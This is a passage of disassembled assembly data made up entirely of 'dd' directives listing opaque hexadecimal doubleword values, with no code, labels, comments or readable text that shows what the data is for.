		dd 0F37900FFh, 0BB2FA8C3h, 737DC2AFh, 425B9C00h, 8356DCA2h
		dd 0E6F70F45h, 123E34h,	70358B0Bh, 0AB016DEDh, 1FBCC0C1h
		dd 1C647892h, 0CEE00BEh, 0F6F44680h, 0ED00687Fh, 366AC8C9h
		dd 0C08C291Ah, 0F7034E09h, 93002898h, 7D27E1A5h, 0FCB1DBBh
		dd 0FC23711Eh, 2E04BD00h, 949050C5h, 0F46C0F09h, 7974EC1Ah
		dd 882B5D9Ah, 9BA80B76h, 88061FDh, 0E47E50D3h, 1FDE9700h
		dd 62D28E5Ch, 317600FCh, 58D1C1ACh, 3C002F6Ch, 29B69E24h
		dd 7AFA0Ch, 744A5FE1h, 0B785E6E8h, 381C2202h, 406DC488h
		dd 6AA080h, 117216D3h, 59AADD1Ah, 0C9453300h, 3A88314Ch
		dd 251909C4h, 0BE803665h, 4F939EA6h, 0F72500B2h, 0A24C0095h
		dd 1849319Ch, 0C02EC3D8h, 8200E1F1h, 0BF04BC86h, 0B8D9FAh
		dd 6646EDEFh, 4D8F6FFDh, 0C988B100h, 0DE0F709Ah, 6CFA02C5h
		dd 84A05960h, 0B03DA95Eh, 0CCA69180h, 0C4391C42h, 0F12C801Ah
		dd 0F5B6B1EAh, 1725FB00h
		dd 8DC0060Ah, 1D74480Dh, 0A3F84000h, 58A7A84h, 3000E8F0h
		dd 721AF37Ch, 602DCC4h,	0EC33E3EFh, 0CB0E903Fh,	208FB57Ah
		dd 8DFAF56Bh, 0A7D316D4h, 312C0783h, 8501FE59h,	20662740h
		dd 97008A7Fh, 1E5E123Ah, 389B5958h, 5F8787F1h, 4020A50Bh
		dd 2AA5B2Dh, 0DD830400h, 67335CDAh, 299039FCh, 0BFA9F380h
		dd 303F0AE6h, 9C5AC600h, 71AC8221h, 0DC7A58FDh,	3C5B9D00h
		dd 0A88B81CCh, 11AECE00h, 5AA7AABFh, 4C44789Eh,	0C401E07Ch
		dd 3468F64Eh, 91C8506Ah, 727557A0h, 94AC5Ch, 0E1E7BA25h
		dd 31CD1036h, 48606579h, 0DFADDCB7h, 72689A0Fh,	40FD80A8h
		dd 3FC97B5Bh, 0F8000E01h, 0DD90596h, 0EF2C989Ch, 1881E882h
		dd 0E27471C2h, 0EBA05ED8h, 3BDFE4h, 0F86D5D4Bh,	0B4E0D6F4h
		dd 0D531A900h, 5CC86684h, 7A9501F5h, 0DB93126Ah, 33CEDCADh
		dd 82ACB600h, 0C99A4091h, 0DAB10A85h, 0BBD0D9h,	0F6FF0F0Dh
		dd 0CD00B627h, 5D741653h, 3D19F3h, 26944815h, 0AF6D8671h
		dd 0DC337926h, 20CC070Fh, 32C7E876h, 7AB271E2h,	5D0607D2h
		dd 9EAD6AFCh, 53742D00h, 8DF02219h, 0B5893313h,	0A3B8E305h
		dd 0FC143CA0h, 356E05E4h, 2A4B2DAh, 0C7185C9h, 0CA98CCE8h
		dd 9A20A700h, 125BFD1Eh, 0AEDE3883h, 9BBA7400h,	0B20873FCh
		dd 4B85C305h, 7787BDC9h, 0A12AA3D0h, 80ACBEB5h,	8402866Ch
		dd 0F9073FDBh, 0E636A1Fh, 4750CFD0h, 2A69000Dh,	0B4BCC8DEh
		dd 0AF01344Ch, 6F19D4F8h, 1180A6EEh, 0F7B7163Ch, 0B4949810h
		dd 1B2C3500h, 0B319AAh,	0BB0F9329h, 5D4E6D56h, 0C7508095h
		dd 167920DFh, 1B53Ch, 5E9ED396h, 0A6062713h, 0F19577AEh
		dd 784C1E61h, 98484133h, 0D044F56Ch, 25F8FA1Ch,	0B507D67Eh
		dd 2E691A02h, 0F849B172h, 0A87430F8h, 9A605540h, 8895151Eh
		dd 0DDC71940h, 18B359h,	0A64F9043h, 0EBEC1050h,	0E03D3000h
		dd 277577E8h, 3659008Eh, 0B10FA6F2h, 0AA07CE74h, 700273BCh
		dd 0DCD37880h, 0EB4D0025h, 34226E31h, 350081A1h, 0E04CAEB8h
		dd 36AD64Fh, 0E7969E67h, 0CAE0CBEDh, 0B07B7A3Bh, 0D5360C00h
		dd 0A168EF9Ch, 0E88A1F6Fh, 3FE78210h, 4BE0B7A6h, 0B6E23B05h
		dd 0BADCFF1Fh, 4C634383h, 0A56A995Bh, 0F82405C4h, 0BCF60010h
		dd 7BE992Dh, 17B070B6h,	0A15A4F00h, 0A3D653AFh,	3BB900B4h
		dd 0BCDFF359h, 0F7007408h, 535B046Eh, 3CCDFB20h, 980F4AAAh
		dd 87A0212Ah, 2FBA5C8Fh, 7001F74Ah, 34E3F137h, 0E293045Bh
		dd 0B0CDA1ACh, 7CE0FBF0h, 29A639D5h, 904AB18h, 27070CDCh
		dd 28F14FBEh, 1C12A745h, 0A4CD98E1h, 0A0D6108Fh, 793E2095h
		dd 2DD86B00h, 0FBFD2785h, 998C7733h, 500968D3h,	4C9E9518h
		dd 4D69BD37h, 0D0452A78h, 1C05362Fh, 90215FCFh,	0B3F63DA8h
		dd 101FA550h, 2728602Ah, 48C08FBh, 2EBDB001h, 0AE3E261Ah
		dd 0C9738199h, 4E099472h, 0D5A7C01Ch, 0D0AF365Fh, 0F88A0C08h
		dd 682B1414h, 802F3519h, 96E21DB6h, 103E0050h, 0D2D3A957h
		dd 0BB07B96Ah, 8AED7197h, 320516Ch, 513234A3h, 4DAB6F87h
		dd 0D48E085Ah, 0DA3E08FAh, 34C4085Dh, 6E26B040h, 99B500ADh
		dd 325BBC4Ah, 4121B2C0h, 0B69B03B1h, 2498D0CCh,	0E888B019h
		dd 10B904C9h, 425E4A9Ah, 0AE790Eh, 0BD983280h, 0B6A548C3h
		dd 0F506B919h, 0CDE9A60h, 5C57356Ah, 0EC09CA61h, 0A072113Dh
		dd 56DFF8C4h, 598F0396h, 0BD64B554h, 19186976h,	68481AC0h
		dd 81C20035h, 0B462A05Bh, 0DC4B78D2h, 37D01BE1h, 0C2992C45h
		dd 0A8FE0E2Ch, 0D3C9B082h, 0CFE8304Bh, 8C383AAh, 0C09E7F49h
		dd 6C0E5048h, 7248C101h, 0EA551CFh, 0AB8CE25Bh,	0B8DDE0E5h
		dd 0CFBB0911h, 280A46Fh, 0FBF7934Ah, 3601AC0Eh,	0DE34474Dh
		dd 0C32D2EB0h, 90AE5518h, 1F96C60h, 0B140C408h,	0F675560Ch
		dd 0E1541CC8h, 6A090477h, 0D8FF2871h, 0F4930EC4h, 0A7203E39h
		dd 969249F7h, 8D2FAC01h, 8A2873BAh, 0D0D1C850h,	60C3287Ch
		dd 88C95060h, 0D6312C02h, 26200233h, 0EC60915Ah, 0B4168E12h
		dd 0B8A1C376h, 583D7001h, 24867FD0h, 0BAD01D2Fh, 40DA969Dh
		dd 9933B4F1h, 380C6A0Dh, 21ACCD19h, 0C8675FEh, 93C0F4B0h
		dd 0A8A2E9A1h, 54CB005h, 804956ACh, 746ABEFFh, 588A3Ch
		dd 3602F308h, 96193182h, 8ED42064h, 0FA778A8h, 0F1469424h
		dd 38350202h, 38A9A862h, 60F8F0DAh, 22E2EF0Ah, 0D050B8C2h
		dd 22414228h, 0FB50002Eh, 0F26A3467h, 12C00DE8h, 794E4127h
		dd 0E209017h, 0CEF7E922h, 0A68E6740h, 0A8B4A0C9h, 23B1BC00h
		dd 193E1238h, 0D02E76B5h, 2472D843h, 6DCFCA03h,	0C027471Dh
		dd 6112DFD9h, 0D75C83Ah, 2631C44Dh, 77047DFAh, 1BCAB15Ch
		dd 370C5091h, 39A56E00h, 2420E359h, 7E08BCB8h, 44B820ACh
		dd 84AB2182h, 0B95411D0h, 0B3B62415h, 38D840A4h, 7439643Dh
		dd 0C48C3652h, 4480C38Ch, 48B2D23Eh, 0C048B895h, 69EEB082h
		dd 8D0BD520h, 241890B9h, 0E330A775h, 0A950F93Ah, 0B40A3E2Ch
		dd 4C34D518h, 190A4910h, 10609A6Bh, 0C3C91881h,	0FE283829h
		dd 89B50049h, 0FF630C24h, 8509F22Dh, 4744EB4h, 3740FC10h
		dd 709038CCh, 730F8D14h, 294C3248h, 0CDC41102h,	8426B5Dh
		dd 4059ED2Fh, 0A8DC7788h, 48A3B358h, 0C91434F6h, 8D8048FFh
		dd 7CCF412Fh, 0B7E92E07h, 3B00F602h, 928CD9h, 43814970h
		dd 846301CFh, 0CD854F19h, 872F1760h, 8880D90Dh,	3E9B548h
		dd 79C36CF8h, 0A1B20DCAh, 71A8DEFEh, 0C3EB8034h, 7EB0A66Ch
		dd 907E82BEh, 0D90A34A8h, 0E460E8AAh, 7349581h,	803E1FFFh
		dd 6A0C09ACh, 0F7B5A203h, 0AAE04C7Bh, 0B63840EEh, 48829FAAh
		dd 1443A477h, 2F015292h, 84208B14h, 0A7EA26A1h,	20F933Ch
		dd 3C9AA804h, 0CF81C4DCh, 49B5901Fh, 0F8D9D8E1h, 0CC8078BBh
		dd 76E71934h, 0C1D44828h, 6C23EC8h, 64F11BA4h, 81410110h
		dd 0D4F85DF6h, 5155DD9Ah, 30882CC8h, 6601C350h,	0EE92F5BEh
		dd 0C66AA3F7h, 0AA009198h, 0BF2C5AA6h, 856B36h,	0E4322DC8h
		dd 0A24E953Ah, 138F0100h, 0E68DBAB9h, 56B409DFh, 9001C06Fh
		dd 7147BC9Bh, 0A4B8102Eh, 73B8E794h, 0A2045901h, 9E5CC2A3h
		dd 3C518850h, 26A76F6h,	2FD0973h, 0ACE4EAA3h, 0CDB42C00h
		dd 0FA67E951h, 0AA740073h, 0F99FB699h, 63EC2D22h, 8B1080FFh
		dd 0C6A3D9F5h, 83095E17h, 0EDA8ADCCh, 0F900BE5Dh, 0B38E5B45h
		dd 0C59DCFh, 0FAEE2A2h,	0EDD6C784h, 63AAA914h, 0C84C0EC4h
		dd 0EF0460ABh, 787BDCFFh, 220124EBh, 3CD54064h,	71136FDEh
		dd 0DC44CBC3h, 1C881CA2h, 0E377009Bh, 0F03AFDF6h, 0C300BD0Ah
		dd 1DB42144h, 603358h, 0FD53D1D2h, 249BA327h, 0CC00117Ah
		dd 0EA7CE072h, 3AD96A79h, 0E7B7D1Fh, 0CE8B31D1h, 47897A8Fh
		dd 0E700E074h, 7012F67Bh, 0E07F1876h, 2AB221CCh, 0ABA41B18h
		dd 0E86C11h, 0E5F6A624h, 565F97E0h, 0CA4108C6h,	0EFEA0020h
		dd 0AE4F8227h, 240C35EDh, 60F3DDF7h, 0AF5600B2h, 0EBA1A0BDh
		dd 0E2EC6061h, 0E6D6DF01h, 0E0712A28h, 0BEF27088h, 9680F60h
		dd 22EE4624h, 37130E7Eh, 6FA04427h, 95B43FECh, 0CC497F60h
		dd 0C09AACE1h, 0C709F510h, 15003101h, 165E82DEh, 53CC52h
		dd 0F0A25064h, 4A19E0BBh, 316A0102h, 0C305D888h, 0E3D9DACAh
		dd 0B060B860h, 34CA007Dh, 0B2A2FF37h, 0AE3B77E5h, 846F0548h
		dd 0FF03178Eh, 0A08A5B26h, 0E2831h, 4620BA4Fh, 0EA0151D1h
		dd 9A3C2701h, 0DF655D56h, 37E0CBFDh, 0B46B00CAh, 2C73B57Eh
		dd 1B02D050h, 202B144Bh
		dd 0A68C068h, 79AA7531h, 0B9F4D8h, 26BAA561h, 5AEF3CF4h
		dd 9CA25C03h, 0F02BE2B5h, 279323h, 34754D20h, 0A1560D11h
		dd 0D0739A01h, 0A35F1C6Ch, 18A006D4h, 2016F4BCh, 770AB424h
		dd 2066D758h, 436D7C70h, 0CC3F61h, 605A203Ah, 7C8A7730h
		dd 44D63C89h, 317A1860h, 4A0102F9h, 0CBA0A6D4h,	0D7D0A239h
		dd 8520C05Fh, 0E38DE759h, 897BE007h, 47E2A88Fh,	0D688D5BDh
		dd 0A0030180h, 816BB811h, 0E390DA69h, 8ADC7F32h, 0C0BD71F5h
		dd 5DCCAC08h, 6D016560h, 709EB805h, 5920114Bh, 31080AC8h
		dd 0AA07D8Ah, 85CD99h, 82605C9Eh, 0C00E268h, 5FE0B821h
		dd 6078FD69h, 0D324A0D7h, 0C405AB5Eh, 43A3BC72h, 11E79401h
		dd 90813922h, 2CFB2782h, 401181E4h, 0E1BD5D2Fh,	316912D0h
		dd 4708640Bh, 0D3208024h, 0BCC95DDDh, 45232A22h, 0AE3FC94h
		dd 8894D15Eh, 898A39BCh, 60A4D7E6h, 4DB8E74Fh, 8CA38421h
		dd 87308954h, 31FA7704h, 64C06EE0h, 1D13D1C0h, 0C2FD1Bh
		dd 0E5B9705Ch, 50FB266h, 71350Fh, 7F69C1E3h, 20826F87h
		dd 492D700h, 9602933Bh,	85B7DC75h, 694CC1ABh, 3D4D2080h
		dd 72066F04h, 778E900Eh, 6CDD0163h, 0B7C9E0FEh,	0A98BD4h
		dd 0A42B7624h, 1379402Eh, 0B209121Ch, 0E15A987Eh, 74B52F28h
		dd 197700E0h, 91043C50h, 667123EBh, 340143FEh, 3F37D98Ch
		dd 0B900B211h, 0CD00A203h, 0A719A68Ah, 0DC54644Eh, 20B01808h
		dd 28008F0Dh, 0D7073C92h, 217F4Dh, 0B0873BCDh, 15F35AF8h
		dd 9065CA01h, 0FEFBC624h, 0B9108044h, 497C080h,	8CAE92F6h
		dd 39C25F44h, 2407043Eh, 7093FAD8h, 0FCF2B08h, 9E09D61Ch
		dd 8D40315Eh, 8C9D8937h, 2F4729C5h, 180AD9B4h, 0C7E64CA6h
		dd 3191F7Dh, 0F28428BAh, 0E1410663h, 0FCB3BBC2h, 0E918FD61h
		dd 68708A3Ch, 9070DF89h, 436C185h, 1CD2920Fh, 0D8BAE7h
		dd 0A9F73207h, 125E0130h, 0CA7F07Ah, 0B7296D8Dh, 3D775700h
		dd 794567A2h, 92E61D37h, 0B8C50C7Bh, 7F00A920h,	751F8A20h
		dd 0EC1088F6h, 0E2800AE8h, 84E4B1FEh, 90FC7273h, 8F575D18h
		dd 0CCD5D300h, 458A4BCFh, 35B300D4h, 9C09AB3Dh,	9200DE81h
		dd 62C063EDh, 1C7F2D69h, 29E2A491h, 208B004Ch, 7AE5679Eh
		dd 0B24D8385h, 0FDE0623Eh, 0AB0E010Fh, 0EFDF746Ch, 0D9003165h
		dd 0DCD02829h, 0F709C9FEh, 176637F6h, 0C05E1110h, 0F7EA2A89h
		dd 1DCA037Ah, 2F45733Fh, 0C8C4883Dh, 623B0EA7h,	0EB54A57Eh
		dd 0E2A58402h, 8C689073h, 604B1520h, 5B89B4FDh,	704EA027h
		dd 1F04583Dh, 1C8E2828h, 0B83C0907h, 287C0FABh,	0D772C077h
		dd 0F38B32F1h, 0DC3B997Ch, 8C5D868Eh, 0E0396BFFh, 0BE31C0EEh
		dd 6529EA2Bh, 2738B000h, 45881793h, 8F0E00F4h, 0E0B29BB4h
		dd 0B7007DD7h, 0F78B64E3h, 1E3C0B05h, 55FC40F0h, 6207A8FFh
		dd 0C0BE51FAh, 0BC6D0BF2h, 0BD2CD700h, 0CDE03027h, 4430E9E1h
		dd 60130273h, 0A8A20AF7h, 6EE23845h, 0A2BF18B9h, 6CAC7E00h
		dd 0E8193909h, 0F3CD22FCh, 9B37D513h, 0CE562460h, 8CAB7E76h
		dd 2221486Ch, 764A17CEh, 50DB07B8h, 0F3D5C01Ah,	0D81299FDh
		dd 84009A4h, 0FED930EDh, 0E1F200BAh, 0F9744279h, 5A2422B0h
		dd 39822C56h, 484AB4DFh, 1C7DD600h, 41FF040Fh, 2671A55Ch
		dd 0E38450F9h, 5009337Eh, 0DA6788h, 2E172A5Ch, 15D18C6h
		dd 0FEDBC13Ah, 3D4DF978h, 0F9900A0h, 0E3A37F4h,	644419A9h
		dd 804908BDh, 0F41D2381h, 9DFF22h, 0DC7A18A8h, 0C864D7E8h
		dd 0BC079C13h, 92622C40h, 1BCE4Ah, 97BD101Dh, 0DFE81370h
		dd 0FCEF2B03h, 0D5636BCCh, 0C03CA848h, 0A68BCE27h, 0A910F146h
		dd 4BC03B0h, 0C2B29828h, 97FC48E0h, 87E709D8h, 0C9064E2h
		dd 0C509CAC2h, 6C6AC45h, 99FE0Fh, 1E25ABBh, 313707B1h
		dd 7541E8A7h, 0E4087063h, 260BDE70h, 0EB4C347h,	8CFD00D2h
		dd 0F436E0h, 0FE30CE7Eh, 5178AF3Fh, 0B0C3BF26h,	2D585605h
		dd 89D8EE80h, 5CAB00C8h, 27F2EB8Bh, 28019B40h, 0AD98AE03h
		dd 32FC70F6h, 0D84B008Eh, 3BC981A1h, 3C002543h,	0E688E5BBh
		dd 0E7872Eh, 0CD1851EFh, 0C7B73EFDh, 5EBDAC00h,	290657CBh
		dd 440E1C83h, 1F7BC09Bh, 0F524F6A6h, 41544E03h,	0D069F96Dh
		dd 4F4CA5h, 0E3A90725h,	4DEB3C73h, 63DD900h, 9ADF6182h
		dd 0F98300EFh, 0F48F4BC4h, 6930CA5Fh, 0C655406Ch, 0C7090164h
		dd 84863C8Eh, 5921CC8Bh, 81CE2001h, 497F2550h, 0C041B620h
		dd 8B9F3AC0h, 0E401C2C1h, 0F0DB5B2Bh, 0A0FE26ABh, 0F7A5B680h
		dd 31C4003Bh, 5999D733h, 0F900808Dh, 4BABD107h,	1E841F89h
		dd 84DD2409h, 70D45242h, 8AC9CCh, 5D0A8328h, 0F99EC4D2h
		dd 7F5C80C7h, 0BA9C5450h, 147302B4h, 364BF6ABh,	0C9039881h
		dd 0E075EC80h, 0D91A1301h, 0DCE60B6Eh, 4A418040h, 0CD200C6h
		dd 44A8B505h, 0DE000A79h, 29E590E9h, 54DDC23h, 5379AB4h
		dd 50C00010h, 0C46BDD0Bh, 0A74B390Fh, 2BB8878Bh, 0E01C8943h
		dd 8FF655h, 0C253272Ch,	0E99ECD66h, 64180F00h, 5D08C31Ah
		dd 60C854B7h, 0FFF802AAh, 6D1BD29Ch, 8033A910h,	0C3D1ED4h
		dd 4058828Ch, 40BC7C44h, 0C00563EEh, 9DFEBA40h,	9330665Ch
		dd 0AEF28151h, 0EC490074h, 0B3F15B90h, 3B14EBCFh, 80D607h
		dd 457EB97Dh, 3E853205h, 3E808699h, 0B7D813A6h,	2538F8B4h
		dd 8D62005Fh, 93D76E72h, 220E012Bh, 89D9B47h, 0FD85D057h
		dd 9055F700h, 955AC94Dh, 68E0A2h, 25464E96h, 1C8A8657h
		dd 0DC94BC00h, 327A1291h, 7C40C7D7h, 0C4A2046h,	4BE6C6F1h
		dd 0DAE25000h, 0FFF02175h, 9A740016h, 39A1BF28h, 77EEECBBh
		dd 0C00A0728h, 72EF7D00h, 0F3621A65h, 0CCAF0085h, 0ED11E31Ch
		dd 7E05D1E8h, 0A6AC58C4h, 0F7C804CBh, 0F5BD87C0h, 495A0EA6h
		dd 0A7CBABEAh, 0F484C017h, 0CA20E3B8h, 270007A3h, 380B9FFFh
		dd 0EEA0B6h, 9A035163h,	3E7786E5h, 0CF002B77h, 0CD480481h
		dd 2620FB8h, 0F5A59499h, 64685D31h, 0BA3CAD3Ah,	8CF98768h
		dd 7A10D3EFh, 38207DAh,	0EBC4934Ah, 20025D09h, 0D8FF3B7h
		dd 0FC209E04h, 1C988CD7h, 43C18E1h, 0E63A52F5h,	20A232B4h
		dd 48F40A22h, 7101751Ch, 614F14ACh, 7B6B6570h, 980225F4h
		dd 3328A0DBh, 0B3BA0551h, 0D0B98693h, 0E148992Ch, 11C5F000h
		dd 51DC63D1h, 548C0708h, 0B5903162h, 234C2E22h,	39230049h
		dd 7DBA16CBh, 2C720D2Ch, 0AB6C5F40h, 1C5B0752h,	93E52562h
		dd 4783F07Eh, 1D384158h, 1443C552h, 0C83C36FAh,	9D2955h
		dd 866EAF65h, 37691E5Ch, 3A22B51Eh, 410F7740h, 0EFE332h
		dd 0D90AACEAh, 5DE7D2CEh, 40831C24h, 3BAD408h, 20CD0EAFh
		dd 71D55990h, 57B7071h,	0EF40958h, 0E1069C68h, 0C70381DBh
		dd 662229BFh, 427EF122h, 29980890h, 840D1052h, 0A4487641h
		dd 0C5991A41h, 106C6101h, 8125D440h, 44F50838h,	0A48845F8h
		dd 72210068h, 0D832DE74h, 23008AE4h, 3E31804Fh,	95E764h
		dd 9329609Bh, 6F271BEh,	6500BF79h, 0F153BC73h, 75A434E8h
		dd 0FDF003BAh, 0A5AFB47Ch, 41D58F8h, 19720F07h,	4EF03BB5h
		dd 0E494EFC3h, 2AFF3BC7h, 5B97AB80h, 0F4EEC0DFh, 0CF151D1Dh
		dd 30B78941h, 0FBE4B845h, 261000CCh, 0FE3A5A8Eh, 9E008048h
		dd 0DEC76088h, 0C9E60Ch, 6877AE72h, 0D5D2F61Ah,	11F55F2h
		dd 75C7B033h, 810729CBh, 0E892BEA3h, 373E087h, 0F1DDBD6Ch
		dd 4AB84D37h, 3E00E45Ch, 30176ABEh, 0B808FD8Bh,	0FFE60F20h
		dd 35C00291h, 5AD12822h
		dd 305F9309h, 84C3802Dh, 3AFED25h, 0E12E61DAh, 53E86EECh
		dd 2C28B095h, 243AA2EBh, 0E38D0F4Dh, 0A865456Dh, 4E689000h
		dd 1ED7D12h, 55FF436Eh,	0F80DA058h, 2B00CFE2h, 3C9BAAD6h
		dd 0FFA62C8h, 0AFB8F3C1h, 339F51C0h, 4400F4BBh,	9986F716h
		dd 14BD585h, 7854A618h,	746E7E37h, 678EA80h, 7A02E117h
		dd 92E41100h, 93A846h, 0C6A6C017h, 61CFA301h, 0F3BC8A00h
		dd 0D3239239h, 30993EBBh, 9A122480h, 8B569E2Eh,	7D1EA102h
		dd 0E8B97937h, 1C740FF0h, 0AEF97Ch, 0D7CD88EBh,	0E60310BFh
		dd 4C431EE4h, 1D8CC015h, 8DF703E5h, 865AC096h, 0DAA7400h
		dd 99663ADAh, 6CE80322h, 0B62DDCFEh, 0A5A401Ch,	20B5644Eh
		dd 13BAE758h, 0FA400074h, 1920AD51h, 4800CE8Dh,	4F6123C0h
		dd 0A21C2Eh, 4632E6F4h,	25E5EFE9h, 23FDCE0Eh, 0E20A4050h
		dd 0D02D9Ch, 0AB5F2078h, 41F6D20Ch, 5B9BA100h, 8D32BA6Ch
		dd 67860037h, 91BF0198h, 88008B09h, 228760E2h, 0EC9493D1h
		dd 7CFA02h, 9DF0365Fh, 19AE4C1Dh, 47D9E70Ch, 0A96E70h
		dd 0C38B555Ch, 3746FED7h, 2604A090h, 0AF38095Bh, 0F66248C0h
		dd 0F42A00CFh, 712CC427h, 0DC74F959h, 30CE0C0Ch, 0CC090Eh
		dd 0AA03CD40h, 7842F97Ah, 45C1C800h, 0A184A397h, 9513008Dh
		dd 9F1ABCE3h, 26019BE4h, 0ED59AD29h, 0D0D0C948h, 21F2005Dh
		dd 9512868Ch, 8E00318Ah, 5444FA7Ch, 39979319h, 1700E2D6h
		dd 0AC3F7F24h, 0A9F8B15Ah, 480FE34Bh, 0C948386Bh, 0AF8B4C95h
		dd 0EA227400h, 7BD13C46h, 0F37E1D01h, 5A1FFBD7h, 0CE68C985h
		dd 34528047h, 7C01D180h, 33C5BF3Eh, 36D58B0Ch, 71D1BE0h
		dd 0DF63E275h, 0E87FE03Fh, 0CC015F64h, 0C7EC66D4h, 21E0425Dh
		dd 1CE600FAh, 4E3AEDC2h, 0D600FC74h, 4B6F3836h,	0E85DEA1Fh
		dd 0F6B856h, 180CAA25h,	0E58AE7Dh, 8F934100h, 0BF1E86AFh
		dd 2077E1h, 0D8EE3AB1h,	0F0EF590Dh, 0AEBD9B0Fh,	3F88E5ADh
		dd 0C632D000h, 74AD42Dh, 0DE3CC46Ah, 0C172D026h, 667873D1h
		dd 0D99C09C3h, 17BAC843h, 4A990040h, 0E43E91C5h, 3D03BDD0h
		dd 0F9DA61DFh, 0D09A870Ch, 91BEB601h, 2009ECEBh, 0C50242A7h
		dd 0E24CCBFBh, 120C6E79h, 0B8E8A6h, 5CF4B48Ch, 773E93DDh
		dd 0CE520096h, 6FD6FDFCh, 2F590306h, 0A4325E5Ah, 0EC0C2091h
		dd 9A0018F3h, 720244DBh, 63E9BD9h, 0CCED9DCAh, 39001070h
		dd 0A22E8881h, 0FECB1F45h, 93805C1Eh, 0F773C000h, 0BC60C469h
		dd 0BE0089F2h, 32B3426Bh, 0F272130h, 0B3F45B2h,	6E080033h
		dd 46D7881Eh, 3DF9AC1Dh, 848A0AC0h, 65E052h, 17918DBh
		dd 0E7729081h, 174D83Ch, 781F8AE5h, 0D8C7450Bh,	251B483h
		dd 7A25D914h, 9860AAE1h, 0EB2207C0h, 0E72A3C79h, 40EE487Ch
		dd 0B15B4100h, 0E9BB9BA8h, 23C54500h, 0FC312AE3h, 3E9CA98Ah
		dd 0E1C30h, 4169E28Bh, 0B0C00F0Bh, 0D652B600h, 0E4FA0A10h
		dd 0E3C9C119h, 38884D04h, 7EFC0344h, 3997D4Ah, 0D558A571h
		dd 1100B231h, 0ADBF0F5Bh, 14D11CFBh, 90A8FA06h,	34ECE800h
		dd 512F9891h, 35236300h, 0E7CE6F7Eh, 0D0E10017h, 5D2B7C2Ah
		dd 7004A0Bh, 0CA7A9815h, 3A797EA1h, 220099E6h, 52A4149Fh
		dd 460030EFh, 31B59D18h, 3CC3C6h, 0E3DBF70Bh, 0E6C75F6Ah
		dd 0E8ED5403h, 0C026657Eh, 0F8C43D87h, 0BD190794h, 82D94ADCh
		dd 83E09F5Ah, 82003AC0h, 0B41308F5h, 261995Bh, 841D3497h
		dd 0D460D830h, 0F004FE3h, 0C3564E6Ch, 2A4546h, 171CB351h
		dd 8DD856Bh, 0DE352000h, 0FB74D0D7h, 0D14F0082h, 8E663251h
		dd 0E41D42D8h, 59C1AB69h, 0B44D276h, 0B887BFFDh, 0B039204Dh
		dd 9B52A1C0h, 4006275h,	0FA2AA33Ch, 831D8Eh, 515C78D2h
		dd 0CF55704Eh, 460B1100h, 3E0CCC7Ah, 8A330045h,	2D05072Ch
		dd 0E100C7AFh, 0AEE0DFF3h, 4EF58Fh, 2406EC8Eh, 0AAB89192h
		dd 86011874h, 1F9DC4E6h, 42E46AC2h, 905D0031h, 0F2C60985h
		dd 61000898h, 0FC542986h, 0F4D6B047h, 2AB50056h, 0E173079Fh
		dd 5E009DFAh, 0F893D035h, 7DDD9568h, 0FB8D0080h, 0EC7A2AADh
		dd 810028C6h, 7433382Bh, 0DCC1DDh, 0BA83D5A7h, 7111D775h
		dd 0D0D4821Eh, 403A344Eh, 0CF2D0887h, 0B829009Ch, 0B593E913h
		dd 68787215h, 0FB8B6D26h, 3DB76C00h, 0D25D67h, 31AD0651h
		dd 3BC25890h, 0A1D18A07h, 809F86ACh, 282E65Ch, 8DF300C7h
		dd 81F7BCEAh, 5200C492h, 5BA8F539h, 1A07B13h, 416DFC32h
		dd 0D8455FD5h, 200CCB1h, 406C1D9Ah, 48AD3C8h, 0DE4CE86Ah
		dd 80A88778h, 1435B991h, 0A1833600h, 18ACD2AEh,	0F21E0071h
		dd 1B2EBF88h, 0A507C1BAh, 2A036241h, 8B999F00h,	90B3005Bh
		dd 660B07A0h, 260036E7h, 5123E060h, 69417Ah, 0DF6CC80Ah
		dd 3FE90FD6h, 2CDC700h,	156E9885h, 35C60BB3h, 20024E8h
		dd 7B6FD846h, 2D7AF500h, 0E1026EBBh, 0E48E0017h, 0A137E8FAh
		dd 1F16E95Fh, 4007F321h, 38BD48Fh, 60C8D01Fh, 1F960911h
		dd 19E2DD86h, 0E3C23400h, 47D80E23h, 0E82D60BAh, 76D957BBh
		dd 0ED393607h, 0FAD03ADEh, 3E2EDAh, 63E01914h, 0D7465641h
		dd 0D499B424h, 4DFF6207h, 84CF620h, 0A3271871h,	21219CEh
		dd 7AE3A000h, 9E3B6B03h, 4D2800C3h, 0FDC4A3ECh,	5C00E64Bh
		dd 0EBF0A436h, 0FCC3844h, 894146Fh, 8F1ABD40h, 66071650h
		dd 49BEEF8Bh, 0BF7A220h, 834A0CD8h, 5B683B65h, 0C6420D00h
		dd 0EE5D47EDh, 0E56907B4h, 605F0B92h, 3FCC95FCh, 0D73A0A1Ch
		dd 904609C0h, 0DE178Fh,	0B2194EEFh, 0DFD2A94Bh,	3C2A10C0h
		dd 18A41EEh, 0E2682E99h, 21695FABh, 5638F413h, 960329C0h
		dd 3F501DA7h, 6F04494Dh, 0C0A1E6BFh, 0DD83FB00h, 91620100h
		dd 54AF8E6Dh, 3D2D0013h, 0F47E9860h, 0C6001133h, 3959496Ah
		dd 71E5Bh, 9E208CDCh, 87DE8E95h, 0D37FE990h, 0C8B94307h
		dd 0B3108A3Dh, 748F9CA0h, 0FCD000C3h, 0DFCBAE20h, 1B242388h
		dd 0BD00DC89h, 8F3EC71Fh, 4D3300FFh, 99348CA8h,	0D039B81h
		dd 2628F9A9h, 7FC989CBh, 33AC2C4h, 367E44Bh, 0DE905C4Fh
		dd 0B31DF30Ch, 0AFAE6B95h, 45B0EA03h, 400FA896h, 7EF97310h
		dd 0CBA61E50h, 23F68049h, 6747C0C8h, 849AB3EAh,	0E1707B30h
		dd 0FB040C7h, 0D1729813h, 0BD92E4E0h, 520079C4h, 8CFDE653h
		dd 90F70307h, 2E3E0080h, 0EA462FB1h, 6D48DC1Dh,	4C187A4Fh
		dd 22A0C2F5h, 7A04007Eh, 9A5E2D18h, 0C4020F38h,	48C8A1C1h
		dd 0C91CC0FBh, 9246009Bh, 530F2CEh, 3400A3F6h, 0B51AE40h
		dd 0EB8DC2h, 0C02CBE14h, 0E35F1706h, 0D3FB0500h, 0FC40CB9h
		dd 7480B02Dh, 0CB7900FCh, 6C932988h, 870069A5h,	8D37B5CEh
		dd 3C49D99h, 43128432h,	63E80396h, 664CDB6Bh, 1BFF0755h
		dd 6CF24FBBh, 62D6022h,	0CE3A0061h, 9948BCC8h, 0BF1C7CB6h
		dd 17BF0A9h, 0B7C6C4ADh, 9E206074h, 922504E2h, 0C1A14114h
